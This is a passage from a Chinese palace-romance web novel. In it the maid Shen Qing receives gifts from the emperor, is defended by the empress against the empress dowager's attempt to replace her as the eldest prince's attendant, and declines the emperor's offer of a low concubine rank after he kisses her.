奶嬷嬷亦是道:“大皇子光听声音就知道是个十足康健的,怪不得皇后娘娘每每见到大皇子都要賞賜大皇子身边伺候的人。” 坤宁宫中最得意的宫人便是大皇子身边照顾的,无论是去小厨房还是哪儿,都会紧着她们来。 好在,她们也不负皇后所托,将大皇子养的白白胖胖,三个月了,中间一次病也没生。 奶嬷嬷见大皇子不睡,便圍绕着这个话题开始说。 沈青笑意盈盈地看着她们聊,心想,皇后紧张大皇子,擅长儿科的太医每日都来为大皇子请脉,大皇子就是想生病也没機会啊,况且这里任意一个奶嬷嬷都是那样的经验丰富,大皇子皱一下眉,她们都能说出个一二三来,再出宫,怎么着也是权贵家里的座上宾。 宫里的人都这样,即便是自己的功劳,也爱往主子身上扯,力证是主子优秀。 这时,厚门帘被掀开,钱继露出半个身子,恭恭敬敬喊人道:“沈青姑娘。” 沈青扭头,见是钱继,而钱继又没进来的意思,便放下手中的东西,道了声这就来,快步走出去。 钱继扶着门帘,待到沈青出来,才放下。 “可是皇上落什么东西了?”皇上走之后,软榻那里沈青还未来得及去瞧,便陪到大皇子身边直到现在。 看钱继来回的时间,估计刚到乾清宫就急忙折回来了。 钱继笑眯眯道:“不是落,是忘了留东西给你了。” 说着,他将一个长木匣拿出来,木匣上是工匠雕出的山水画,简中有繁,煞是精致,木头用的也是金絲楠木,光是匣子,就值得收藏了。 如此富贵,也只皇上能拿出手了。 沈青本不欲收,她和皇上又没什么,又不是给大皇子的,她留下算怎么回事。 但脑中灵光一现,串珠,她想到了串珠! 皇上没将串珠留下! 上次还说要三个月,现下才一个月,许是在榻上睡得脑袋都木了,也就忘记了此事,记起时人都到乾清宫了,自不想再跑一趟,便将东西裝进看得过眼的木匣中,讓钱继给她送过来。 毕竟不光彩嘛,可不得用东西裝上。 沈青抿着唇伸手将匣子接过来,鉴于自己心知肚明了,便什么也没问,只道:“劳煩了。” 钱继见沈青接了,才又拿出一棕色荷包,上面繡着小龙,沈青记忆不差,认出这是皇上今日佩戴的荷包。 “皇上说,这里面的东西你清楚。”即便不知道皇上在和沈青打什么哑谜,钱继还是那副笑着的模样。 沈青一头雾水,她从哪儿清楚,串珠不是已经接下了嗎? 她迷茫地看向钱继,不准备接下荷包。 钱继耐心等她反应过来。 片刻过后,沈青伸手捏了捏荷包,里面是她熟悉的,隔着各种布料也能摸出来的东西,毕竟戴了一个月了,也幸而冬天的衣裳厚,即便离她极近也看不出来。 沈青低头,疑惑,那匣子里装的是什么? 一时间顿觉手里的东西沉手起来。 她和皇上的关系没好到送东西的程度吧,就算是皇后给她东西,也是以賞賜的形式,而这匣子,倒更像件礼物,不掺杂赏啊赐啊。 沈青直截了当问:“钱继公公,奴婢糊涂,这匣子里面装的是什么,这是给奴婢的嗎?或是公公领会错了皇上的意思?” 钱继摇摇头:“我们两个人就不必奴婢来奴才去了,这我听得很清楚,都是给你的。坤宁宫里还有第二个叫沈青的宫人吗?” “若是没有,那便对了。” 至于先给匣子后给荷包的吩咐,就不必给沈青解释的那么清楚了。 钱继将手一交叠,既然东西给出去,自没有再带回乾清宫的道理。 沈青不让他糊弄过去,点明道:“不对,木匣错了,荷包才对。” 她一手收起荷包,一手将木匣递出去。虽然说她一个人独住一间,但皇上的东西真不好收,一串珠子就够折腾她了。 钱继仍未伸手:“说起荷包,皇上还说,沈青你的女红不好,如何能给皇子制东西,要你先繡出个荷包练手,样式就照这个荷包来,务必要一模一样。絲线待会儿会有人送来,嗯,皇上还说,劳煩了。” 一句劳烦,将沈青未来得及说出口的拒绝噎了回去,上一个劳烦还是不应声皇上话的时候。 沈青:“……” “……我繡技并不精湛,恐怕许久也绣不成一个,若是绣不成,这荷包難道就不还回去了吗?” 她就拿了一会儿绣绷,却被人看入了眼。 钱继道:“皇上亦是说了,只要不偷懒,总归是练手,绣成什么模样都可,不拘多长时间,只要见个成品,若长年累月绣不出来,可见是心不诚。既心不诚,如何能在大皇子身边做事?且这荷包,万万不能假手于他人,想必姑娘的技艺,皇上心中是有数的。” 沈青泄气,露出一个比哭还难看的笑容。 简直是挟大皇子以威胁。 她必不可能抛弃这么好的差事,怎么着也得干到出宫之前。 不就是绣荷包吗?巴掌大的布,也费不了多少功夫,既然清楚她的技艺,糊弄过去就是了。 哼哼。 沈青在心中哼笑两声,见推脱不掉便果断应下:“公公这说得什么话,皇上吩咐,我自当努力去做,不需要多长时间,我必将成品双手奉上。” 至于龙变蛇,蛇变虫就不是在她的考虑范围了。 钱继闻言自是满意,沈青这般说了,他回乾清宫就有话可回了。 当下,不需沈青相送,便借口皇上身边离不了人,麻溜地回去了。 而木匣,自是留在了沈青手里,钱继压根不给她将东西还回去的机会。 沈青带着东西回自己的房里,东西既然留下来了,她便也毫无负担打开。 荷包里果然是熟悉的串珠——既然皇上今天来了,那明日必不可能再来看大皇子,过两日再戴好了。 沈青怀着侥幸心理将串珠重新放回荷包中。 然后打开木匣,是推拉式的,很丝滑,一件宝石金釵显露出来。 沈青震惊地拿到手上端详,金釵的两股用了錾刻工艺,摸着有微微凸起的纹路,钗首则是细金丝盘绕着振翅蝴蝶,蝴蝶四个翅膀,以及身体,各镶嵌着蓝绿色的宝石,将黄金的庸俗瞬间压得典雅了许多。 这支金钗既繁复又美丽,蝴蝶灵动的似要飞走,光是看着都能想象得到工匠是费了多大心力才做出这一件可以传世的炫技之作。 早说是这宝贝,她至于推拒吗? 给她一百件,她都敢收! 可惜这金钗和头上的玉簪气质不适配,不能一起戴了。 第43章 第43章宫女四十三日 沈青将金釵拿到手中端详,见金釵如手掌般大小,才意识到这是支足够大且有分量的金釵。 大金钗上的宝石,最大的那一颗和大拇指指腹差不多,且十分深邃透亮,摸上去质感颇硬。 她当下就将金钗插进了发髻中,扭身望向铜镜,伸手调整了下位置,犹豫了下,将原本的玉簪取了下来。 沈青梳头喜欢将头发梳的緊绷绷,这样不容易散,且她的发量多,梳的再緊也显得非常蓬鬆。 她以往的发饰都是用来点缀发髻,讓发髻更出彩些。 这支 金钗不同,因为它足够大,一下子就将发髻的重心移到它身上,不过正因为够大,衬得沈青的臉愈发小了,也更加精致了。 不仅没压下她的雪肤花貌,反而增了几分贵气。 沈青不禁露出开心愉悦的笑容,望向铜镜中一样动作美的不可方物的美人,心里跟吃了蜜一样甜。 翌日,沈青还是戴回了玉簪,大金钗太招摇。 今日皇后要带大皇子去给太后请安,届时一屋子嬪妃,戴金钗是会抢风头的。 低调点好。 慈寧宫外,小雪飘落,慈寧宫中,皇后老老实实给太后行了完整的请安礼,太后这才出声讓皇后起来。 贤妃早早就在慈宁宫,在皇后行礼时她也依礼朝皇后行了个礼。 皇后面上一派沉稳,唇边还含着笑,站起来落座后似是没发现贤妃朝她行礼,一句免礼的话也没说。 俄顷,贤妃面色如常站起身,皇后慢悠悠道:“方才专心向太后行礼,没看到贤妃妹妹,未叫贤妃免礼,真是本宫的不是。” 【我给太后行礼,顏氏给我行礼,我于礼法上反抗不了太后,顏氏难道能反抗得了我吗?】 贤妃听出了皇后的弦外音,目光落到自己的指甲上,抚了抚,道:“娘娘事务繁忙,一时疏漏,贵人多忘事,实在情有可原。” 贤妃拉长了語调,言語间意味深长,似是真不在意这行礼的小事,倒显得皇后斤斤计较似的。 皇后眼中有一瞬间的晦暗,不过她很快调整了过来:“本宫打理六宫,确实不如妹妹清闲。” 太后眼中闪过厌烦,不过当了一年皇后,耍威风竟敢耍到她面前,跟誰没当过皇后似的。 到底时间不长,沉不住气,仍是个蠢妇。 反倒是英华,在佛堂几个月,沉稳了许多,想起昨日英华和她商议的事,太后目光微闪,倒可以断皇后一臂,也讓皇后知晓,不是当了皇后生了皇子,就可以高枕无忧了。 太后开口道:“将璨儿抱给哀家看看。” 跟在皇后身边的沈青看向抱着大皇子的奶嬷嬷,示意她到太后跟前。 太后要看皇子,自不能阻止,皇后盯着太后的动作,心想众目睽睽之下太后也不会下手。 【这可是太后唯一的孙辈,再讨厌本宫也必不会牵连到璨儿身上。】 皇后这般告诉自己,但还是忍不住忧心,万一呢。 大皇子此时醒着,太后伸手拨了拨大皇子的下巴,摸了摸小臉蛋:“一段时间不见,璨儿长的可真快,皇祖母都要不认识喽。” 皇后笑着道:“小孩子都这样。”只字不提多抱大皇子来慈宁宫看太后。 太后看了一会儿,让人拿来了件螭龙纹玉璧,是为平安扣,放在了大皇子胳膊下,仔细掖了掖包被一角。 唯愿这个孩子平安顺遂。 皇后见此脸上露出真心实意的笑容,无论怎么样,太后还是疼大皇子的。 太后挥了挥手,奶嬷嬷将大皇子抱了回来,平安扣贴着婴儿的身体放,即便隔了层衣物,也会让小孩子不舒服,于是她便将平安扣取了出来,交给了沈青。 沈青将平安扣收到袖中,等回去再登记造册,问过皇后看是放在库房中,还是放在大皇子屋內。 她们的一串动作没逃过太后的法眼,这原也没什么,但太后一见沈青,便沉吟道:“皇子身边的管事宫人年輕,如何能管住底下的奴才,又如何能照看好主子?” 太后是打心底不相信沈青,看着娇娇弱弱,纤腰细腕,那张脸更是没什么威慑力,放在大皇子身边,能成什么事? 皇后看向太后,不语,等着太后的未尽之言。 沈青垂眸,能不能照看好,她也干了几个月了,先前又不是没在大皇子身边见过她,现在才疑心她的能力,打的心思简直显而易见。 太后果然继续道:“不如哀家派个资历深厚的嬷嬷到大皇子身边,也能更好的照料大皇子。” 皇后扯出一抹假笑:“沈青年纪轻是不假,可就是这样的人,心思才纯粹,能一心为大皇子,臣妾用着才放心。母后指派的嬷嬷想必很忠心,但这小孩子现在最是闹人,白天黑夜的闹腾,恐怕搅的嬷嬷精神不济,到时也如臣妾对贤妃这样疏忽了大皇子,可就不美了。” 太后道:“宫里的嬷嬷必不会分神……” 皇后打断道:“可就算如此,璨儿已经对身边的人熟悉了,若增了添了宫人,想必会很不适应。” 如果目的是想在大皇子身边安插人,那皇后是分毫也不会让。 反正已经和太后撕破脸了,便也不差这一回。 太后对皇后的不滿在这一刻达到了顶峰,她一个当皇祖母的,派遣嬷嬷,能是害皇子的吗? 绝佳的涵养让她没有沉下脸。 太后看向沈青:“年长的嬷嬷不合适,那年紀小的宫人就更不适合呆在皇子身边了。” 沈青垂着眼,兜兜转转竟然又绕回了她这儿,太后拗不过皇后,便想拿她杀皇后的威风。 皇后闻言态度有一瞬迟疑。 【若沈青回到我身边能平息太后的怒气……】 沈青一惊,她能呆在大皇子身边,全因皇后,若皇后心思一变,她便是必走的局面。 回到皇后身边,遇见后宫嬪妃的频率高,时时刻刻都要向人请安,不能有丝毫懈怠。 无论是誰都知道该选什么。 沈青心一横,赶在皇后开口之前道:“太后、皇后娘娘,奴婢有话要说。” 皇后道:“允。” 太后抬眼。 沈青分辨道:“奴婢虽然年紀輕,但自大皇子出生后便在大皇子身边侍奉,对大皇子的一应事宜了如指掌,亦万般上心不敢有丝毫错眼,三个月来大皇子未生过一次病,未有一次伺候不周。奴婢不敢将这些事全揽在奴婢一人身上,但浅薄以为奴婢还有点照料皇子的经验。” “恰如皇后娘娘所言,如果奴婢有一颗忠心,便会全用在大皇子身上。” 不管了,想到什么说什么吧,如果现在不争取,那可真就没机会了。事实上,她被分到大皇子身边,对比以前是轻鬆,但对大皇子亦是十分上心,挑不出差错的,不然没等太后开口,皇后就会先把她換掉。 但愿皇后能转变想法。 沈青心中浮起忧伤,面上仍是低调沉稳的模样。 皇后心神一荡,如此短的时间便对大皇子这么忠心,试问,还能找到另一个她能完全放心又滿足太后要求的人吗? 怕是下一次,还会一如既往挑刺。 太后:“牙尖嘴利。” 这便是挑不出错漏的意思。 皇后眼中浮起笑意:“母后心中想必也是满意的,这丫头虽年紀轻,但做派稳重,皇儿交到她手里臣妾方能放心。” 转而,她语气忧愁道:“母后也知璨儿是不足月生产,身子骨较正常小孩弱,但这三个月来璨儿的状况您也看到了,未必没有沈青的功劳,若贸然換了人……” 太后想也不用想,皇后说这话,就意味着日后大皇子病了伤了,全是她这个皇祖母不慈的缘故。 只想换个人,就让她背这么大的锅? 太后耷拉着眼皮,松口也不是,不松口也不是,要么她的威严荡然无存,要么日后背个不慈的名头。 这时,慈宁宫小太监通报的声音响起:“皇上驾到——” 太后皇后贤妃并几名能来慈宁宫的妃嫔目光看向门口。 两侧的宫人将门帘掀开,紀宸伴着一身寒意踏了进来,屋內燃着火炉,他将身上的狐裘解下递给身旁的太监,这才朝太后这里走过来。 “儿臣给母后请安。” 太后面色一喜:“快快起来,早让宫人给你备了一碗姜汤,你饮一些,驱驱寒。” 几名嫔妃含蓄又激动地看 向皇上,似是在看什么稀奇之物。 皇后听着天底下最尊贵的母子寒暄,面容温婉,笑意不达眼底。 不怕太后不喜自己,就怕这种情况下太后和皇上还关系亲厚。 若非皇上不会扶颜家女为后,否则她根本没法儿和背后站着太后的贤妃斗。 颜贤妃成也颜家,败也颜家。 皇后从没这么清晰认识到,皇上靠不住,她能靠的唯有她的皇儿。 纪宸和太后寒暄结束,环顾室内:“方才在聊什么?” 贤妃道:“在聊将大皇子身边的宫人换掉。” 纪宸正大光明看向沈青,升起兴趣:“为何?” 转而看到沈青发间仍戴着那根玉簪,嘴角的笑意不由收了起来。 “年纪轻轻,恐担不得照看大皇子的职责。”贤妃忧道,“大皇子身为皇子,乃重中之重,用人慎重些总没错。” 纪宸:“但朕瞧着她干的不错,就这样,不必换。” 贤妃眼中闪过精光:“皇上居然记得一名宫女?” 二人一问一答,沈青听到纪宸说的不必换,惊讶之余便知道稳了。 皇上发话,这事便确定下来了,毕竟真论起来不过一桩小事,宫里没有皇上做不了主的,何况这。 纪宸本不欲答,但没想到他送去的东西都有人敢不戴,心中隐隐不悦,便嗯了一声。 这下,室内众人的目光都落到沈青身上。 亦看清了那刻意低调下的容貌。 真真是冰肌玉骨,眉如远山含黛,眸若秋水含情。 宫人中不乏美貌的,毕竟进宫当宫女亦有容貌要求,但长成这副娇怯柔弱样子的绝色佳人,却没几个。 她们刚刚是怎么忽略了她,只以为这个宫人老实本分的? 谁家老实人长这样? 沈青凝神静气,忽略这一道道强烈的目光,但握紧的手到底露了怯。 第44章 第44章宫女四十四日 沈青素来是走一步看一步,但怎么样也无法预料到这种场面。 好在,她现在是皇后的人,而且其他嫔妃实在不必覺得她是个威胁,因为皇上压根没有纳宫女的先例,若真喜欢,会留着她继续呆在大皇子身邊吗? 皇上做事全随心意,即便她面上不敢表露什么,但心里是抱怨的。 这种情况下,她自己是含混不过去的,唯一能的不过在慈宁宫中这几位有分量的主子。 沈青颤巍巍抬眼,探看一眼皇后,目露哀怨与希盼,嘴巴抿着,似乎很是无措。 可怜巴巴求垂惜。 情绪对了,使用的人错了。 纪宸阖眼,眼底情绪翻滚。 皇后微乐,观皇上的态度,她方还在思考着沈青这颗棋似乎是活了,结果转眼,沈青神来一笔将这微妙的氛围破坏殆尽。 不过……她却忽然一口气顺了下来,下巴微抬,心中自得。 这种滋味稀奇,明明是副可怜娇弱的模样,她却并不感到厌烦。 只覺得不枉她厚待沈青。 但是这样一来,沈青便也错失了机会,如果趁热打铁,未必不能成为后宫嫔妃。宫人做着有什么意思,不如成为主子,争也能正大光明争,于皇后自身而言,也得了枚这后宫棋盘上好用的棋子。 皇后清了清嗓子,微笑,柔声道:“沈青之前是臣妾的贴身宫女,皇上記得再正常不过了,臣妾之前身邊还有位叫青玉的,皇上亦是記得名姓,賢妃这般,反倒有些大惊小怪。” 沈青是她的人,该护还得护。 賢妃觑了皇后一眼,复又看向皇上,但却瞧不出皇上此时的意思,于是便止了声。 沈青看向皇后的眼中闪烁着光,嘴唇也不自覺翘起。 赌皇上的垂怜有什么意思,皇后的垂青于她而言才更稳固。 她不相信皇后仅仅因为皇上记得她的名字,就会忘记过去她们的种种,即便在封建社会皇后和她也不过主仆,论也只能论主仆情。 如果皇后真的厌弃她,那也情有可原,到那时,她就不会扭扭捏捏什么都不做,而会不择手段往上爬。 但皇后回护她的态度鲜明,她自不会走更难的路。 其余嫔妃纵然忌惮,听到皇后的话也将目光收了回来。 盯的久了,平白讨嫌,小宫女的美貌也不会因此而发生变化。 何必给自己心里添堵呢? 她们若有若无的目光看向皇上,期盼着,皇上可千万不要一时興起将这宫女收入后宫,不然,多一个劲敌,她们本就少的恩宠就更稀薄了 好在,皇上方才的應声更像是随口回應贤妃的疑问,之后便转而谈起大皇子,对方才的事仿佛也不甚在意。 太后道:“何貴人身懷龍裔已有六个月了,皇上皇后也该上心些。” 皇后不明所以看了眼太后,不知她提起何貴人是何意。 何貴人是她的人,她纵然现在有大皇子,也不会对何贵人出手,平日以安抚赏赐为主,不会做错事使何贵人和她离心。 宫里注定不会有一个孩子,况且,她非天生恶毒的人,唯一一次出手,伤的还是自己的身体,不至于容不下妃嫔懷孕。 纪宸闻言,着人列了些赏赐送到宁辉苑。 何贵人自御花园一跌,便一直在宁辉苑养胎,皇后亦免了她的請安。 皇后见此,也赏赐了何贵人些东西。 慈宁宫請安结束,沈青跟在皇后身边,不忘讓奶嬤嬤将大皇子包好,天寒地冻的,免得冻着大皇子。 皇后乘着凤辇,开口道:“将璨儿给本宫,本宫带回坤宁宫,路上滑,别跌着了大皇子。” 又对大皇子温声道:“璨儿来,母后抱。” 奶嬷嬷将大皇子递给皇后,大皇子认得皇后,在皇后怀里也十分乖巧。 一行人坠在凤辇后面。 回到坤宁宫,沈青还没坐下,钱继就出现在她的面前,并道请她去乾清宫一趟。 自不必说,是皇上的命令。 但也未惊动坤宁宫的人,钱继是私底下来传唤她过去。 想到皇上,沈青便不由想到早上在慈宁宫的事,当时皇上是朝她看了一眼,才應声贤妃的事,讓她成为众矢之的。 作为皇帝,他不会对贤妃的话不敏感,非要究其原因的话,大概是在不高興。 看了她之后不悦……沈青心虚地摸了摸脖子,不是吧,眼那么尖? 她没带串珠真的很明显吗? 沈青冲钱继眨巴了下眼睛,恳求道:“我取一下东西,就跟你走。” 钱继含笑,却毫不留情:“陛下说了,须得原模原样将姑娘给带过去。” 沈青顿时垂头丧气,说的这般明白,必是发现她偷懒了。 如何力证她就懈怠了这一天? 不把皇上的命令当回事,也怪不得搞她了。 沈青笑不出来,悲壮道:“走吧走吧。” 钱继将沈青带了出来。 在去乾清宫之前,沈青都是情绪低迷的,但就算如此,她也不忘在心中组织狡辩之语。 能有一丝生机,她都要死死抓住,把它扩成一道阳光。 进入乾清宫的大殿中,给沈青的第一感觉便是静,安静的讓人心里发慌,让人不禁发怵,乾清宫的宫人都不呼吸吗? 沈青轻轻扫了一眼,看向钱继。 那双眼睛只是微微疑惑,便足够生动,让人知晓她在困惑什么。 钱继看出来了,她是在问,皇上呢? 钱继道:“皇上在寢殿,你往里面走便是,皇上不許旁人进去。” 沈青了然,不許旁人进去,就意味着相当生气。 看来串珠在皇上心中的分量真的很高,如今她慢待了串珠,皇上就要拿她是问。 所以进去之后,她得先开口请罪,以降低皇上心中的怒气。 沈青抬脚往寢殿走,走近,推开寝殿紧闭着的门,转身合上,阻隔了外殿可能的视线。 她深吸一口气,往里走。 这次,毫不费力便发现了皇上在哪儿。 在龍床上。 靴子被一前一后扔在地上,床上的纪宸还穿着在慈宁宫的穿着,不过衣裳已经松散了,半边被子搭在他身上,他整个人呈大字躺在龙床上,双目睁着凝视上方,在出神思考着什么费解的事。 直到寝殿的门发出声响,他的目光才盯向来人。 沈青此时已经完全忘了先行礼的事,小碎步走到龙床前,一个滑 跪不待纪宸出声便开始请罪道:“奴婢有罪!” 纪宸的神情稍霁。 沈青语似连珠:“奴婢不是故意不戴皇上的串珠,实在是昨日忙迷糊了,一时就将荷包给忘了,早上又得去慈宁宫,就一时没记起来此事,等到记起来的时候,已经在去慈宁宫的路上,没办法折返回去去取了。从慈宁宫回来,奴婢就想把串珠找出来戴在身上,但皇上您料事如神,知晓了此事……” “奴婢冒失,有失皇上所托,实在该死,请皇上给奴婢一次将功补过的机会。” 沈青的头扣在交叠着的手掌上,没发现纪宸刚缓和的神色又一下沉了下去。 他只看出沈青没戴他送的发钗,才在慈宁宫鬼使神差应了贤妃的话。 之后,没向他求助才是他现在不爽的根源。 即便回到乾清宫也意兴阑珊,让钱继将人给他叫来,想干什么还没想好,但至少得把那个恼人的玉簪取下来。 纪宸思来想去,沈青可恶,玉簪也可恶,送玉簪的人更可恶。 他想沈青诚心认错,谦卑可怜…… 不过万万没想到,沈青先心虚爆出玉串的事。 上方久久没有声音,沈青心中琢磨不定,忽然,她察觉到她的玉簪被拔了出来,然后掷到地上,玉碎的声音传来。 旋即,她的头发散开了一部分,散在背上。 沈青心中咯噔一下,腦中一片浆糊,已经分不出心绪到碎了的簪子上,满腦子都是,皇上不会想在这里幸了她吧? 这也不怨沈青胡思乱想,实在是床、皇上、美人、美人散开的头发要素都齐全了。 不发生点什么反而有些违背常理。 沈青小心翼翼抬头,与纪宸晦暗的目光撞上。 沈青咬唇,纪宸伸出手拂过蹭到她脸颊上的发丝,因为这个举动,沈青要抬头避开纪宸的手,背便慢慢直了起来。 他们此刻的距离近,但又没有那么近。 纪宸伸手环住沈青的腰,像昨天一样将人带了上来,不过与上一次不同,这次,沈青是直接落进了纪宸的怀里。 双腿还蜷着,她低头,是跪在了纪宸身上。 沈青还没来得及出声,就被一双手抱住,被迫仰头。纪宸的拇指落到她脸颊上,其余手指则探入她的发中,随即拥吻起来。 沈青猝不及防之下睁大了双眼,满是震惊,却见纪宸已经闭眼,甚至还伸着…… 这一切都太快了,根本让人反应不及,所以在纪宸舔了她一下唇,她就直接将唇齿分开了。 这可不是什么好的反应,而纪宸似是觉得得到了她的允许,更激烈起来。 恶狠狠的,似乎想将往日的无视报复回来。 沈青到后来,甚至没有办法睁着眼控诉,双眼迷瞪,被迫承受亲吻已经用了她全部力气,更是没法回应,亦没法暂停这事。 纪宸的一只手移到她的后脑勺,压着她,不许她躲开,一只手环着她的腰,不让她腰肢软下去。 等到纪宸亲完,沈青能做的唯有张着嘴巴伏在他怀里拼命呼吸新鲜空气。 确定了,皇上真要睡她! 之前压根不是她的错觉。 皇上若不主动释放信号,她一个宫女怎么可能想入非非。 纪宸亦不想装了,钓人哪有直接亲人好使,方才沈青的一切情绪都是因他而起,心心念念的都是他,这便很好。 他很喜欢。 于是他将歇了力的沈青扣在怀里,垂首道:“做朕的才人,如何?” 皇帝的衣裳磨人肌肤,但这时候,也就不挑什么了。 沈青明明白白回答道:“奴婢不愿。” 没有丝毫迟疑。 第45章 第45章宫女四十五日 “为何?” 沈青没有抬头观察纪宸的表情,但听这声音还算平静,似乎只是寻常询问,便也没多大恐惧。 殊不知纪宸抚在她脊背上的手一顿,青筋暴起,改为扣着她。 沈青心里吐槽,才人只比宝林高,它上面美人貴人婕妤嫔林立,见到后宫一大半的嫔妃都得行禮,住的屋子也不大,如果离坤宁宫远了,早上天不亮就得收拾收拾起来,也没有步辇可以乘坐,只能走过来,一来一回脚都要废了。 除了多个宫女可以使唤,吃饭都得掰着指头数自己的份例,她没有娘家给银子,开销一大,就得紧巴巴起来。 至于赏赐,那得哄太后、皇上、皇后高兴,或者有功才有,如果上面有宫里的印记,压根换不了银子,若是御赐之物,还得摆在屋子里,每天恨不得上三柱香以表虔诚。 唯一的外快可能是升位份时,其他嫔妃送的贺禮,可宫中升位份难不说,难道其他嫔妃升位份就不用送了嗎?總是要还的,到头来,忙忙碌碌一场空。 况且其他嫔妃争寵是为了家族,可沈家根本不需要她争,沈家跟官场的关系只有一位姻亲在朝为官,沈青在沈家族学时曾见过那位姻亲官员送到沈家族学读书的公子小姐,不过只是小官之子,连遮掩都不遮,言行上是瞧不起作为商贾的沈家的。 更不必说她这一房都被分出沈家了。 是,皇上现在或许有点迷恋她,但这都是建立在她年輕貌美上,等得手了,腻味了,有新人了,或许连她叫什么都不记得了。 宫里嫔妃为何着急有孕,还不是害怕年老色衰时连个皇子公主傍身都没有。 等總算宫斗完了,也顺利活到最后,新帝登基,对局结算,除了太后,其他太妃一气儿扔进一个宫殿里,和往日虚情假意的姐姐妹妹在一个宫殿里做邻居,给新帝的嫔妃腾位置,到时还有的哭呢。 至于生了皇子,等皇子封王将生母接出去?可皇上这生育能力瞧着是不行啊,这么长时间了,总共就怀孕了俩。 与其寄托于此,还不如老老实实熬到二十五岁被放出宫,到时凭她的美貌和多年在宫里積累的财富,不信找不到一个可心的。 皇帝什么的,玩玩就行了,谈感情?真没必要。 沈青真心道:“才人的位份太低,奴婢要做就做主位娘娘。” 她的气息还有些不稳,但抓着纪宸的衣裳,总算将话说完了,尾音上翘,不用掰着臉看,都能想象得到她骄傲抬下巴的模样。 “野心不小。”奇异地,纪宸的心平静了下来,没有丝毫被拒絕的不悦,眼中反而漾起笑意,“但朕是不会同意的。” 沈青鼓了鼓臉,她就知道! 男人啊,你直接拒絕,他会覺得伤面子,但你将条件抬高,他便会覺得,他能允诺,但因为代价太大,他才不愿意。 对方是皇上,沈青只能将主动权递回去,讓纪宸来做选择。 而纪宸,对位份实在太抠了,寵爱了两年的杜明漪杜氏最高是个婕妤,贪恋陆云湄的美色,却在人家刚入宫能当貴人时,讓人家当美人…… 如果皇上能讓她成为主位娘娘,住大宫殿,穿数不清的好看衣裳,有戴不完的首饰,沈青会疯狂意动。 但眼见着,纪宸是没有诚意的,因为她是宫女,所以施舍她一个才人的位份,就觉得合宜,觉得她会感恩戴德。 若现在他面对的是官员之女,绝不会只是才人。 说到底,是她身份不够,纪宸又不够喜欢。 “怎么了?不高兴?”怀里的人不吭声,似在闹脾气,纪宸只能无奈出声。 他的声音带着说不出的宠溺,但沈青绝不会被这个假象迷惑的。 沈青哼了一声:“累。” 在此之前,她从没有发现自己这么虚,纪宸也太凶了,还以为要把她给咬死,现在嘴巴还酸疼的厉害。 因为这是疯狂拥吻后的喘息,此时即便恃宠而骄,那也是被允许的。 甚至某人还会觉得可怜可爱。 纪宸悶笑一声,将怀里的人换了个姿势,让她坐在自己身上,垂眼看着累瘫到埋在他身上,只露出毛茸茸脑袋的沈青。 她说的并非假话。 真的累极了。 聪明如他,如何看不出沈青这是在隐晦地拒绝,可主位的位份,他不可能直接给出。 这个话题不必再谈,因为谈到最后,亦会不欢而散。 他给不出她想要的,她也不想只做个才人。 纪宸略过这件事:“既然累,那便睡吧。” 被纪宸这么一说,只是没有的力气的沈青当真觉得困了,眼皮渐渐落下,眨眼睛的频率越来越慢,最后困倒在龍床上。 纪宸将她放到龙床的最里面,拿出一条被子给她輕轻盖上,这个位置,不仔细瞧,完全看不出这里还藏着一个人。 纪宸躺在沈青身边,即便十分清醒,也想陪着睡会儿- 沈青醒来的时候,已是晌午了,坐起来时还摸不清自己在哪儿,直到看到床帐上的暗纹才扶着脑袋回忆起睡前发生了什么。 她站起来,往床边走了几步,一边惊讶于龍床之大,一边思索着怎么迅速从乾清宫离开。 她身上的衣裳皱巴巴的,不适合再穿,头发散了,玉簪也碎了,沈青的臉上不由浮上愁容。 不过好在,她和皇上应该达成了默契,纪宸应是不会再提让她成为嫔妃的事。 今天就当被狗啃了,纪宸的脸好,恃脸行凶,不吃亏。 沈青这么想着,从床上下来发现旁边放着几个托盘,上面摆着跟她身上样式一样的新衣服,新鞋,以及玉簪和一整套头饰。 玉簪自然不是她原来的那个,原本碎掉的玉簪也不知去哪里了,她往玉碎的地方找寻,也没找见,不由郁悶。 装着清水的铜盆放在一侧,各式的发梳也都有,纪宸的寢殿摆着一面光可鉴人的大铜镜。 沈青梳洗过后换上新衣裳,去照铜镜,发现跟她早上不无不同,便抬脚准备走了。 刚踏出寢殿,候着的錢继便领着她出去,边走边解释道:“皇上现在在面见大臣,吩咐奴才将您送回去。” 沈青好笑之余脸有些烧:“你我之间何须奴才来奴才去的,我现在也仍是个宫女,我们没什么不同,只要在恰当时候和我通通气儿,我就感恩戴德了。” 她将錢继曾说过的话原样还了回去。 錢继领着她避开乾清宫的一些人,微哂:“好。” 他眼瞧着沈青是要飞上枝头了,可纳闷的是,皇上吩咐他给沈青准备的仍是宫女衣裳,但沈青又确确实实睡在了乾清宫的龙床上,若没发生什么,他是不信的。 这可是连后宫嫔妃都没有的待遇。 如此怎能不让他放低自己的位置。 沈青跟在錢继身边,不好探头去瞧,余光亦未瞥见王積貴和王定,算一算,已经好久未见他们了,她还将王積贵送的玉簪弄坏了。 即便纪宸赔了一个,跟她那个又不同。 沈青问钱继:“寢殿那个碎掉的玉簪你知道在哪儿嗎?我想拿回来修补一下。” 碎玉可以用金镶玉的办法固定住。 钱继摇了摇头:“从未见过。” 他作为极少数的知情人,自然知道寝殿地上碎掉的玉簪意味着什么,也知道皇上让他将碎玉簪处理了那句话中透露的浓浓不喜和扫除了障碍的轻松。 即便沈青和御前的太监有纠葛,皇上仍是喜欢,但恐怕在沈青面前涉及王公公的任何话提也未提,所以沈青才惦记着那玉簪。 沈青叹气,只以为是宫人进寝殿打扫时将东西扔了,便道:“那能不能麻烦你问一下乾清宫打扫寝殿的宫人,看是扔在了哪里。” 钱继疑惑:“那玉簪很重要?” 皇上不是补了一个水头更好的玉簪吗?原本那个,碎成了几块,即便修补回来也不好看,戴不出去了,何必费那力气? “重要,因为那是别人的心意。”沈青的小脸上满是凝重。 钱继应下:“我试一试去问问。” 沈青喜不自胜,连连感谢。 钱继将她送到坤宁宫便分别了,沈青回到大皇子身边时,发现芰荷正在那里。 见她回来,微微疑惑:“你去哪里了?” 而后庆幸道:“幸好皇后娘娘没问,不然失职之罪你是逃不了了。” 沈青彻底放心了,旁人亦没发现她身上的变动,便道:“从慈宁宫回来,困的厉害,便找了个地方眯了一会儿。” “谢谢芰荷姐姐帮我!” 芰荷放心道:“没有事便好,大皇子这里,皇后娘娘早上抱着在寝殿逗了一会儿,见大皇子困了便交给了奶嬷嬷,有奶嬷嬷照看,大皇子并无不妥。” 也就是说,芰荷见她没出现,帮着盯了一上午,还没叫人发现她不见了。 沈青一时感动的不知该说什么好,谄媚道:“小女子无以为报,只能以身相许。” 